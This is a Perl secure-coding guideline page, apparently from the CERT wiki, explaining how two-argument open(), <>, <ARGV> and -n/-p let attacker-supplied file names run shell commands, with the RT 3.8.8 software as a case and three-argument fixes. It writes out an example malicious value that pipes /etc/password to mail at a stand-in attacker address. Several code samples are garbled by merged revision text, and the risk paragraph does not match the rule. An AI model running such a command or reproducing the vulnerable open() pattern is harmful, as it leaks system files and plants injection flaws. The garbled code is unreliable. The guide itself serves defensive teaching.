The Perl open()
function has several forms. The perlfunc(1)
manpage lists the following:
open FILEHANDLE,EXPR
open FILEHANDLE,MODE,EXPR
open FILEHANDLE,MODE,EXPR,LIST
open FILEHANDLE,MODE,REFERENCE
open FILEHANDLE
Opens the file whose filename file name is given by EXPR , and associates it with FILEHANDLE.
...
If an attacker can provide a file name argument to be used in the two-argument form of open()
, the attacker can instead provide a shell command, which gets executed by the program.
Noncompliant Code Example
This noncompliant code example uses the two-argument form of open()
.
Code Block | ||||
---|---|---|---|---|
| ||||
my $filename = # initialize open(my FILE$FILE, $filename) or croak("file not found"); while (<FILE><$FILE>) { print "$file$filename: $_"; }; |
Although this code clearly expects its file to be opened for reading, the file name might indicate a shell command. It might also indicate a file to be written rather than read.
Noncompliant Code Example (<
)
This noncompliant code example attempts to mitigate the problem by prepending a <
to the file name.
Code Block | ||||
---|---|---|---|---|
| ||||
my $filename = # initialize open(my FILE$FILE, "<$filename") or croak("file not found"); while (<FILE><$FILE>) { print "$file$filename: $_"; }; |
If $filename
begins or ends with |
, the preceding <
forces it to be treated as a file name rather than a shell command.
This code will not execute a shell command. However, an attacker could cause a program to hang by supplying -
as the file name. This , which is interpreted by open()
as reading standard input.
Noncompliant Code Example (<ARGV>
)
This noncompliant code example uses the <ARGV>
operator.
Code Block | ||||
---|---|---|---|---|
| ||||
while (<ARGV>) {
print ":: $_";
};
|
This code suffers from the same vulnerability as the first noncompliant code example. The <ARGV>
operator opens every file provided in the @ARGV
array and returns a line from each file. Unfortunately, it uses the two-argument form of open()
to accomplish this task. If any element of @ARGV
begins or ends with |
, it will be it is interpreted as a shell command and executed.
Noncompliant Code Example (<>
)
This noncompliant code example uses the <>
operator.
Code Block | ||||
---|---|---|---|---|
| ||||
while (<>) {
print ":: $_";
};
|
The <>
operator is a synonym for <ARGV>
, and has the same behavior , with the same vulnerability.
Noncompliant Code Example (-n
)
This noncompliant code example uses the -n
argument to Perl.
Code Block | ||
---|---|---|
| ||
perl -n 'print ":: $_\n";' *
|
This code suffers from the same vulnerability as the previous noncompliant code example. The -n
argument instructs Perl to open every file in the command line (in this case, every file in the current directory) and return a line from each file. If any argument in the command begins or ends with |
, it will be it is interpreted as a shell command and executed. In this manner, the -n
operator acts exactly like the two-argument form of open()
.
Noncompliant Code Example (-p
)
This noncompliant code example uses the -p
argument to Perl.
Code Block | ||
---|---|---|
| ||
perl -p '$_ = ":: $_\n";' *
|
This code suffers from the same vulnerability as the previous noncompliant code example. The -p
argument instructs Perl to open every file in the command line (in this case, every file in the current directory) and return a line from each file. Unlike -n
, -p
also instructs Perl to print the line read (stored in $_
) at the end of each iteration of its implicit loop. If any argument in the command begins or ends with |
, it will be it is interpreted as a shell command and executed. In this manner, the -n
operator acts exactly like the two-argument form of open()
.
Compliant Solution
This compliant solution invokes open()
with three arguments rather than two.
Code Block | ||||
---|---|---|---|---|
| ||||
my $filename = # initialize open(my FILE$FILE, "<", $filename) or croak("file not found"); while (<FILE><$FILE>) { print "$file$filename: $_"; }; |
The three-argument invocations of open()
are not subject to the same vulnerabilities as the two-argument open()
. In this code, $filename
is treated as a file name even if it contains characters that are treated specially by the two-argument open()
function. For example, if $filename
is specified as -
, then the three-argument open()
attempts to open a file named -
rather than opening standard input.
Noncompliant Code Example (RT 3.8.8)
The RT (Request Tracker) software contains the following code in the bin/rt
file:
Code Block | ||||
---|---|---|---|---|
| ||||
# Makes a hash of the specified configuration file.
sub parse_config_file {
my %cfg;
my ($file) = @_;
local $_; # $_ may be aliased to a constant, from line 1163
open(CFG, $file) && do {
|
This subroutine is called by the subroutine config_from_file
, which is itself invoked from the following:
Code Block | ||
---|---|---|
| ||
config_from_file($ENV{RTCONFIG} || ".rtrc"),
|
Because any user can invoke the rt
executable with environment variables he or she controls, a hostile user may set the RTCONFIG
environment variable to a malicious command, such as:
Code Block | ||
---|---|---|
| ||
cat /etc/password | mail some@badguy.net |
|
The final |
indicates to Perl that this is a shell command. When passed to the two-argument form of open()
, Perl executes the command.
Compliant Solution (RT 3.8.8)
This compliant solution invokes open()
with three arguments:
Code Block | ||||
---|---|---|---|---|
| ||||
sub parse_config_file {
my %cfg;
my ($file) = @_;
local $_; # $_ may be aliased to a constant, from line 1163
open(CFG, "<", $file) && do {
|
This code causes $file
to be treated as a file name regardless of what special characters it might contain.
Note that the last line of this compliant solution still violates FIO00-PL. Do not use bareword file handles.
Risk Assessment
Failure to handle error codes or other values returned by functions can lead to incorrect program flow and violations of data integrity.
Recommendation | Severity | Likelihood | Remediation Cost | Priority | Level |
---|---|---|---|---|---|
EXP31IDS31-PL | high | likely | low | P27 | L1 |
Automated Detection
Tool Diagnostic | Version | Checker | Description |
---|---|---|---|
Perl::Critic | 5.0 | InputOutput::ProhibitTwoArgOpen | Implemented |
B::Lint | 5.0 | Use of <> | Implemented |
Bibliography
Wiki Markup |
---|
\[[Wall 2011|AA. Bibliography#Manpages]\] [perlfunc|http://perldoc.perl.org/perlfunc.html] |
...
EXP30-PL. Do not use deprecated or obsolete functions 02. Expressions